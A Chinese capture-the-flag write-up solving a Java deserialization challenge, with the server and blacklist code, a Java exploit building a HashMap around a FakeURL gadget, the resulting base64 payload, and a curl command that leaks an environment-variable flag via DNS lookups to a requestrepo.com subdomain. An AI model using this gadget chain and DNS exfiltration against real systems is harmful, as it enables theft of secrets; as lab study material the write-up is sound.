这是一个反序列化题
main里有判断ser字段是否为空。decode = Base64.getDecoder().decode(ser)这里ser被取出解码,还原成序列化二进制流(?这啥啊)
然后会触发MyObjectInputStream对decode的检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public class Main { public static void main(String[] args) { HttpUtil.createServer(8888).addAction("/", (request, response) -> { String ser = request.getParam("ser"); String result = ""; if (ser == null) { response.write("welcome,plz input param ser", ContentType.TEXT_PLAIN.toString()); } try { byte[] decode = Base64.getDecoder().decode(ser); MyObjectInputStream inputStream = new MyObjectInputStream(new ByteArrayInputStream(decode)); inputStream.readObject(); } catch (Exception e) { result = e.toString(); } response.write(result, ContentType.TEXT_PLAIN.toString()); }).start(); } }
|
大概就是检查有没有黑名单中的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public class MyObjectInputStream extends ObjectInputStream { private static final String[] blacklist = {"java\\.security.*", "java\\.rmi.*", "com\\.fasterxml.*", "org\\.springframework.*", "org\\.yaml.*", "javax\\.management\\.remote.*", "cn\\.hutool\\.*"};
public MyObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); }
@Override protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException { if (!contains(cls.getName())) { return super.resolveClass(cls); } throw new InvalidClassException("Unexpected serialized class", cls.getName()); }
public static boolean contains(String targetValue) { for (String forbiddenPackage : blacklist) { if (targetValue.matches(forbiddenPackage)) { return true; } } return false; } }
|
FakeURL里,hashCode在this.hashcode != -1时会调用getHostAddress拿到System.getenv(“FLAG”)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public class FakeURL implements Serializable { private String host; private int hashcode = -1;
public FakeURL(String host) { this.host = host; }
synchronized InetAddress getHostAddress() throws UnknownHostException { if (this.host == null || this.host.isEmpty()) { return null; } try { InetAddress hostAddress = InetAddress.getByName(System.getenv("FLAG") + '.' + this.host); return hostAddress; } catch (SecurityException | UnknownHostException e) { return null; } }
public synchronized int hashCode() throws UnknownHostException { if (this.hashcode == -1) { return this.hashcode; } int h = 0; InetAddress addr = getHostAddress(); if (addr != null) { h = 0 + addr.hashCode(); } else if (this.host != null) { h = 0 + this.host.toLowerCase().hashCode(); } return h; } }
|
只要我们能触发 FakeURL.hashCode(),且满足 this.hashcode != -1就能发起 DNS 请求。
我们需要一个在反序列化过程中会自动调用 hashCode() 的类。java.util.HashMap 是最常用的选择。(不知道,llm说的)
网页服务器收到请求,通过前面的解析和检查流程之后,将对象恢复为HashMap。HashMap 内部存储的是键值对。为了在内存中重建这个表,它必须确定每个 Key 应该放在哪个“桶”里。于是HashMap 的 readObject 会循环对每个 Key 调用 hash(key) 方法,hash(key) 内部紧接着调用了 key.hashCode(),此时key就是构造的FakeURL,于是调用的是FakeURL.hashCode()。这样就接起来了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package ucas.web;
import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap;
public class Exploit { public static void main(String[] args) throws Exception { FakeURL fakeURL = new FakeURL("m68gfag1.requestrepo.com");
Field hashcodeField = fakeURL.getClass().getDeclaredField("hashcode"); hashcodeField.setAccessible(true); hashcodeField.set(fakeURL, 0);
HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(fakeURL, "test");
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashMap); oos.close();
String payload = Base64.getEncoder().encodeToString(baos.toByteArray()); System.out.println("Payload (Base64):"); System.out.println(payload); } }
|
FakeURL直接用jadx导出的。java的包啊类啊路径啊什么的老严了相当的烦人。编译:
1 2 3 4 5
| javac ucas/web/*.java
java ucas.web.Exploit
|
这里创建FakeURL必须填一个你能获取dns记录的子域名。因为程序运行时会尝试解析域名System.getenv(“FLAG”) + ‘.’ + this.host,类似于flag.example.com这样的,于是example.com会收到dns查询日志,日志中能看到flag
1
| InetAddress.getByName(System.getenv("FLAG") + '.' + this.host);
|
如何获取这样一个子域名呢,可以用https://requestrepo.com/(很好很快推荐),dnslog太慢了太慢了我卡了好久😭
得到输出之后拼到网页的url里
1
| http://124.16.75.116:52005/?ser=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAEHVjYXMud2ViLkZha2VVUkwrrKQLqAuVzgIAAkkACGhhc2hjb2RlTAAEaG9zdHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwAAAAAHQAGG02OGdmYWcxLnJlcXVlc3RyZXBvLmNvbXQABHRlc3R4
|
或者用curl命令
1
| curl.exe --get --data-urlencode "ser=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAEHVjYXMud2ViLkZha2VVUkwrrKQLqAuVzgIAAkkACGhhc2hjb2RlTAAEaG9zdHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwAAAAAHQAGG02OGdmYWcxLnJlcXVlc3RyZXBvLmNvbXQABHRlc3R4" http://124.16.75.116:52005/
|
查看日志,hostname的前缀就是flag了。会有一些奇怪的随机大写,全部转小写

1
| flag{java_deser_hashmap_dns_01}
|
总结一下,分析程序得到大致的执行流程和检查方法,发现要获取的flag存在于远程的环境变量中,并且可以通过FakeURL的getHostAddress()方法被带出,于是问题变成了怎么触发这个方法(构造FakeURL),和怎么获取到带出的flag(获取可以看到日志的子域名)